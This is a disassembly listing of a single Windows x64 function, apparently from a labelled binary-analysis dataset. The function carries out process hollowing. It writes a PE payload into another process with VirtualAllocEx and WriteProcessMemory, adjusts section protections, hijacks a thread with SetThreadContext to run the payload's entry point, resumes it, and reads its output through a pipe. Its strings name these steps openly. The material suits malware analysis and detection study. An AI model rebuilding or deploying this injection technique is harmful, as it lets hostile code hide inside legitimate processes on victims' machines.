Function at 0x1400013a0
Capabilities:
Enumerate pe sections
Inspect section memory permissions
Read file on windows
Read pipe
Resume thread

Disassembly:
mov r11, rsp
push rbp
push r12
lea rbp, [r11 - 0x478]
sub rsp, 0x568
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov r12, rcx
test rcx, rcx
je 0x140001b32
xorps xmm0, xmm0
mov qword [r11 + 0x18], rsi
xor esi, esi
mov qword [r11 + 0x20], rdi
mov qword [r11 - 0x28], r15
lea rcx, [rbp + 0x110]
xor eax, eax
mov qword [r11 + 0x10], rbx
xor edx, edx
mov qword [r11 - 0x18], r13
mov r8d, 0x100
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], 0x10001f
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
mov dword [rbp + 0x70], esi
mov qword [rbp + 0x74], rax
mov qword [rbp + 0x7c], rsi
mov qword [rbp + 0x84], rsi
mov dword [rbp + 0x8c], esi
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rcx, [rbp + 0x270]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x410], rsi
mov edi, esi
mov qword [rbp + 0x418], rsi
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x428], rsi
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x38], esi
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
call fcn.1400010d0
mov r15, qword [rsp + 0x58]
test eax, eax
je 0x140001aaf
cmp qword [rsp + 0x40], rsi
je 0x140001aaf
cmp qword [rsp + 0x48], rsi
je 0x140001aaf
lea rcx, str._i__Press__Enter__To_Continue...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
je 0x1400015d1
lea rcx, str.____Invalid_NT_Image_Headers_n
call fcn.140001010
xor esi, esi
jmp 0x140001aaf
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x558], r14
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001614
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003488]
jmp 0x140001a96
mov rdx, r14
lea rcx, str.___Remote_Image_Base_Address:_0x_p_n
call fcn.140001010
mov rdx, qword [rsi + 0x30]
lea rcx, str._i__Preferable_Base_Address:_0x_p_n
call fcn.140001010
cmp r14, qword [rsi + 0x30]
je 0x14000164a
lea rcx, str.____PE_Payload_Will_Require_Relocation____NOT_SUPPORTED__n
call fcn.140001010
jmp 0x140001aa5
lea rcx, str._i__Press__Enter__To_Write_The_PE_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov r8, r12
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a89
mov r8d, dword [rsi + 0x54]
cmp r8, qword [rsp + 0x60]
jne 0x140001a89
mov rdx, r14
lea rcx, str.___Wrote_Headers_At__p_Of_Size__d__n
call fcn.140001010
lea rcx, str._i__Writing_Sections_...__n
call fcn.140001010
movzx r13d, word [rsi + 0x14]
xor eax, eax
add r13, 0x18
add r13, rsi
cmp ax, word [rsi + 6]
jae 0x140001738
lea rbx, [r13 + 0x10]
nop word [rax + rax]
mov r8d, dword [rbx - 4]
mov r9d, dword [rbx]
add r8, r14
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rdx, [rcx*8]
add rdx, r13
lea rcx, str._t_i__Writing_Section__s_At__p_Of_Size__d__n
call fcn.140001010
mov r8d, dword [rbx + 4]
lea rax, [rsp + 0x60]
mov edx, dword [rbx - 4]
add r8, r12
mov r9d, dword [rbx]
add rdx, r14
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001771
mov eax, dword [rbx]
cmp rax, qword [rsp + 0x60]
jne 0x140001771
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x1400016d0
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001796
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400035d0]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, dword [rsp + 0x38]
jmp 0x140001aa5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003418]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, dword [rsp + 0x38]
jmp 0x140001aa5
mov rdi, qword [rsp + 0x40]
lea rcx, str._i__Overwriting_Image_Base_Address_...
mov rbx, qword [rbp - 8]
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x68], r14
call fcn.140001010
lea rax, [rsp + 0x58]
mov rcx, rdi
lea r9d, [r12 + 8]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a68
cmp qword [rsp + 0x58], 8
jne 0x140001a68
lea rcx, str.___DONE__n
call fcn.140001010
lea r10d, [r12 + 0x40]
mov rdi, qword [rsp + 0x40]
mov ebx, r12d
cmp r12w, word [rsi + 6]
jae 0x1400018ec
lea r11d, [r12 + 2]
nop word [rax + rax]
mov eax, ebx
mov dword [rsp + 0x58], r12d
lea rcx, [rax + rax*4]
mov r8d, dword [r13 + rcx*8 + 0x10]
test r8d, r8d
je 0x1400018de
mov edx, dword [r13 + rcx*8 + 0xc]
test edx, edx
je 0x1400018de
mov ecx, dword [r13 + rcx*8 + 0x24]
mov eax, ecx
mov r9d, ecx
sar r9d, 0x1f
and r9d, 8
bt ecx, 0x1e
cmovb r9d, r11d
and eax, 0xc0000000
cmp eax, 0xc0000000
mov eax, 4
cmove r9d, eax
bt ecx, 0x1d
mov eax, 0x10
cmovb r9d, eax
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
mov eax, 0x80
cmove r9d, eax
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
mov eax, 0x20
cmove r9d, eax
and ecx, 0xe0000000
cmp ecx, 0xe0000000
lea rax, [rsp + 0x58]
mov rcx, rdi
mov qword [rsp + 0x20], rax
cmove r9d, r10d
add rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001952
mov r10d, 0x40
lea r11d, [r10 - 0x3e]
movzx eax, word [rsi + 6]
inc ebx
cmp ebx, eax
jb 0x140001820
lea rcx, str._i__Press__Enter__To_Execute_The_Entry_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, dword [rsi + 0x28]
lea rcx, str._i__Hijacking_Thread_To_Run_EntryPoint:__p_...
add rdx, r14
call fcn.140001010
mov eax, dword [rsi + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
add rax, r14
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001976
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003650]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r12d
jmp 0x140001aa5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003360]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r12d
jmp 0x140001aa5
lea rcx, str.___DONE_n
call fcn.140001010
lea rcx, str._i__Press__Enter__To_Resume_The_Process_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1400019c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400036a8]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r12d
jmp 0x140001aa5
mov rcx, qword [rsp + 0x40]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Reading_output:__n_n
call fcn.140001010
xor esi, esi
nop word [rax + rax]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x38], esi
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edx, dword [rsp + 0x38]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001a61
mov r8d, dword [rsp + 0x38]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
je 0x140001a5b
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400019f0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, 1
jmp 0x140001aa7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003418]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r12d
jmp 0x140001aa5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003418]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
xor esi, esi
mov r14, qword [rsp + 0x558]
mov rcx, qword [rsp + 0x30]
mov r13, qword [rsp + 0x560]
mov rbx, qword [rsp + 0x588]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001ad4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001ae7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x550]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b09
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rsi
mov rcx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x590]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140001b26
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x598]
jmp 0x140001b34
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140001cf0
add rsp, 0x568
pop r12
pop rbp
ret